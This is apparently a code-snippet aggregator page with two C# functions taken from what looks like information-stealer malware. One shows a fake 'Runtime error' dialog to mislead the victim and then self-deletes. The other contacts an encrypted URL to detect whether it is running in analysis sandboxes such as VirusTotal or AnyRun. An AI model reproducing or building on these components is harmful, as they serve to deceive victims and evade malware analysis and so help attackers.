Beispiel #1
0
        /// <summary>
        /// Run fake error message and self destruct
        /// </summary>
        public static void FakeErrorMessage()
        {
            string code = StringsCrypt.GenerateRandomData("1");

            code = "0x" + code.Substring(0, 5);
            MessageBox.Show("Exit code " + code, "Runtime error",
                            MessageBoxButtons.RetryCancel, MessageBoxIcon.Error);
            SelfDestruct.Melt();
        }
Beispiel #2
0
 /// <summary>
 /// Returns true if the file is running on the server (VirusTotal, AnyRun); otherwise returns false
 /// </summary>
 public static bool Hosting()
 {
     try
     {
         string status = new System.Net.WebClient()
                         .DownloadString(
             StringsCrypt.Decrypt(new byte[] { 150, 74, 225, 199, 246, 42, 22, 12, 92, 2, 165, 125, 115, 20, 210, 212, 231, 87, 111, 21, 89, 98, 65, 247, 202, 71, 238, 24, 143, 201, 231, 207, 181, 18, 199, 100, 99, 153, 55, 114, 55, 39, 135, 191, 144, 26, 106, 93, }));
         return(status.Contains("true"));
     } catch { }
     return(false);
 }